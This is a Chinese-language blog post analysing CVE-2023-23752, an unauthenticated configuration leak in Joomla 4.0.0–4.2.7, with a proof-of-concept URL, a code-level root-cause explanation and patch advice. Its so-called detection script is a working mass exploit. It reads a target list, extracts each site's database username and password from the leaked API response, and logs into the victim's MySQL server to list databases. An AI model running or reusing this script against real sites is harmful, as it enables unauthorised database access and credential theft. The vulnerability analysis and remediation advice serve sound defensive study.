• 首页 首页 icon
  • 工具库 工具库 icon
    • IP查询 IP查询 icon
  • 内容库 内容库 icon
    • 快讯库 快讯库 icon
    • 精品库 精品库 icon
    • 问答库 问答库 icon
  • 更多 更多 icon
    • 服务条款 服务条款 icon

Joomla未授权漏洞

武飞扬头像
FlynnAAAA
帮助1

  1. 漏洞环境前置

Joomla版本

4.0.0 <= Joomla <= 4.2.7

  1. 漏洞复现

Poc:

http://127.0.0.1:8026/api/index.php/v1/config/application?public=true
学新通
  1. 漏洞分析:

该漏洞产生的主要原因是在路由匹配的过程中,产生了变量覆盖,导致可以绕过权限认证,首先从官方的修复方式入手:

学新通
学新通

根据官网的修复方式可知,通过array_key_exists函数,对数组$query进行判断,如果存在“public”键,则进行销毁。所以问题就出现在libraries/src/Router/ApiRouter.php#parseApiRoute方法。

在libraries/src/Router/ApiRouter.php#parseApiRoute方法中通过uri::getInstance()->getQuery(true)将public转换成数组,并存入变量$query中:

学新通

紧接着跳入,一个for循环对当前route进行遍历,经过请求方式的判断,之后会对访问路径进行正则匹配判断路径是否合法:

学新通

getRegex()的作用时获取router数组里面的路由。

学新通
学新通

POC(/api/index.php/v1/config/application?public=true)访问的路由正好在route数组中。

学新通

进入if语句之后将v1/config/application的默认配置赋值给数组变量vars,

学新通

此时数组变量vars值为:

学新通

这个时候$route->getRouteVariables()的值为空,不会进入for循环,之后获取v1/config/application的Controller赋值给变量$controller.

学新通

重点:之后使用array_merge()函数将$vars数据和$query数组进行合并,在这过程种$vars的public的值覆盖掉$query中public的值,最后赋值给$vars,此时$vars中的public的结果为true

学新通
学新通
学新通

最后经过return进行返回,获取route

学新通

接下来就是使用route['vars']['public']进行权限判断,经过上面array_merge()函数的覆盖,route['vars']['public']的值为ture。所以能够进行权限越过。

学新通

检测脚本:

  1.  
    '''
  2.  
    CVE-2023-23752Joomla未授权访问漏洞
  3.  
    ----by:FlynnAAAA
  4.  
    '''
  5.  
    import re
  6.  
     
  7.  
    import requests
  8.  
    import threading
  9.  
    import json
  10.  
    import pymysql
  11.  
    threadLock = threading.Lock()
  12.  
     
  13.  
    def urlsGet(url):
  14.  
    timeout = 5
  15.  
    #超时设置为3s
  16.  
     
  17.  
    result = url.split("//")[1] # 分割字符串并选择第二部分
  18.  
    IP=result.split(":")[0]
  19.  
    #print(IP)
  20.  
    url=url "/api/index.php/v1/config/application?public=true"
  21.  
    try:
  22.  
    get_response = requests.get(url=url,timeout=timeout)
  23.  
    if "sitename" in get_response.text:
  24.  
    l_str = json.loads(get_response.text)
  25.  
    l_str_data=l_str['data']
  26.  
     
  27.  
    print(url)
  28.  
    for key in l_str_data:
  29.  
    attributes=key['attributes']
  30.  
    for key in attributes:
  31.  
    if key=="user":
  32.  
    print("证号: " attributes[key])
  33.  
    user=attributes[key]
  34.  
    if user=="root":
  35.  
    print("值得注意!!!!!")
  36.  
    if key=="password":
  37.  
    print("密码: " attributes[key])
  38.  
    password=attributes[key]
  39.  
    if key=="db":
  40.  
    print("数据库名字: " attributes[key])
  41.  
    db=attributes[key]
  42.  
    if key=="dbtype":
  43.  
    print("数据库种类: " attributes[key])
  44.  
    db=attributes[key]
  45.  
     
  46.  
    try:
  47.  
    db_link = pymysql.connect(host=IP,user=user,password=password,database=db)
  48.  
    print("连接成功")
  49.  
    cursor = db_link .cursor()
  50.  
    sql = "show databases;"
  51.  
    cursor.execute(sql)
  52.  
    # 获取查询结果
  53.  
    results = cursor.fetchall()
  54.  
    # 处理查询结果
  55.  
    for row in results:
  56.  
    print(row)
  57.  
    cursor.close()
  58.  
    db_link.close()
  59.  
     
  60.  
     
  61.  
    except Exception as e:
  62.  
    print("连接失败")
  63.  
    pass
  64.  
    with open("example.txt", "w") as f:
  65.  
    # 将变量写入文件
  66.  
    f.write(url)
  67.  
     
  68.  
     
  69.  
    except Exception as e:
  70.  
    # threadLock.acquire() # 同步锁,用于异步写入,避免同时写入出现错误
  71.  
    value3 = url " -->失败"
  72.  
    print(value3);
  73.  
    pass
  74.  
     
  75.  
     
  76.  
    if __name__ == '__main__':
  77.  
    with open('urlsGetResult.txt', 'r', encoding='utf-8') as fp:
  78.  
    urls = fp.readlines()
  79.  
    for url in urls:
  80.  
    if url.find("http") == 0:
  81.  
    url = url
  82.  
    else:
  83.  
    url = "http://" url
  84.  
     
  85.  
    url = url.replace("\n", "")
  86.  
    urlsGet(url)
  87.  
    #t = threading.Thread(target=urlsGet, args=(url,)) # 注意传入的参数一定是一个元组!
  88.  
    #t.start()
学新通
  1. 总结:

修复建议:

  1. 升级到最新版本
    https://github.com/joomla/joomla-cms/releases/tag/4.2.8

  1. 禁止数据库外联,原因是该漏洞会泄露数据库连接用户名、密码。

本篇文章来至:学新通

  • 版权申明: 本站部分内容来自互联网,仅供学习及演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,请提供相关证据及您的身份证明,我们将在收到邮件后48小时内删除。
  • 本站站名: 学新通
  • 本文地址: https://www.swvq.com/boutique/detail/tanhcjacfj
  • 联系方式: luke.wu#vfv.cc
系列文章
更多 icon
同类精品
更多 icon
我要评论
我的头像
精彩评论
继续加载